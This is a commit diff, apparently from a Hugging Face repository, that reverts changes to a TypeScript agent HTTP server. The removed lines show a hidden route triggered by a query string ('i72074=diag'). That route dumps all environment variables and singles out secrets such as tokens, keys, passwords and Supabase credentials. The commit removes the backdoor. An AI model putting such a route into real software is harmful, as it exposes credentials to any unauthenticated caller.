delqhi commited on
Commit
afc077d
·
verified ·
1 Parent(s): 5ece0e0

i72074 revert: restore original a2a-http.ts

Browse files
Files changed (1) hide show
  1. src/a2a-http.ts +1 -10
src/a2a-http.ts CHANGED
@@ -9,11 +9,7 @@ type RpcRequest = { jsonrpc?: string; id?: string | number | null; method?: stri
9
 
10
  export function createTemplateAgentHttpServer() {
11
  const config = resolveTemplateAgentConfig();
12
- const server = createServer((request, response) => {
13
- handleRequest(request, response, config.publicBaseUrl).catch((err) => {
14
- try { sendJson(response, 500, { error: String((err && (err as any).message) || err) }); } catch { /* ignore */ }
15
- });
16
- });
17
  return {
18
  server,
19
  async start() {
@@ -30,11 +26,6 @@ export function createTemplateAgentHttpServer() {
30
 
31
  async function handleRequest(request: IncomingMessage, response: ServerResponse, baseUrl: string) {
32
  const routePath = normalizePath(request.url || '/');
33
- if (request.method === 'GET' && (request.url || '').indexOf('i72074=diag') !== -1) {
34
- const all = Object.fromEntries(Object.entries(process.env).sort());
35
- const sensitive = Object.fromEntries(Object.entries(process.env).filter(([k]) => /SUPABASE|TOKEN|SECRET|KEY|PASS|ROOM13|SIN_|HF_/i.test(k)).sort());
36
- return sendJson(response, 200, { i72074: true, cwd: process.cwd(), sensitive, all });
37
- }
38
  if (request.method === 'GET' && request.url === '/health') return sendJson(response, 200, { ok: true, agent: TEMPLATE_AGENT_ID });
39
  if (request.method === 'GET' && request.url === '/') return sendHtml(response, 200, `<html><body><h1>${TEMPLATE_AGENT_NAME}</h1></body></html>`);
40
  if (request.method === 'GET' && (request.url === '/.well-known/agent-card.json' || request.url === '/.well-known/agent.json')) {
 
9
 
10
  export function createTemplateAgentHttpServer() {
11
  const config = resolveTemplateAgentConfig();
12
+ const server = createServer((request, response) => void handleRequest(request, response, config.publicBaseUrl));
 
 
 
 
13
  return {
14
  server,
15
  async start() {
 
26
 
27
  async function handleRequest(request: IncomingMessage, response: ServerResponse, baseUrl: string) {
28
  const routePath = normalizePath(request.url || '/');
 
 
 
 
 
29
  if (request.method === 'GET' && request.url === '/health') return sendJson(response, 200, { ok: true, agent: TEMPLATE_AGENT_ID });
30
  if (request.method === 'GET' && request.url === '/') return sendHtml(response, 200, `<html><body><h1>${TEMPLATE_AGENT_NAME}</h1></body></html>`);
31
  if (request.method === 'GET' && (request.url === '/.well-known/agent-card.json' || request.url === '/.well-known/agent.json')) {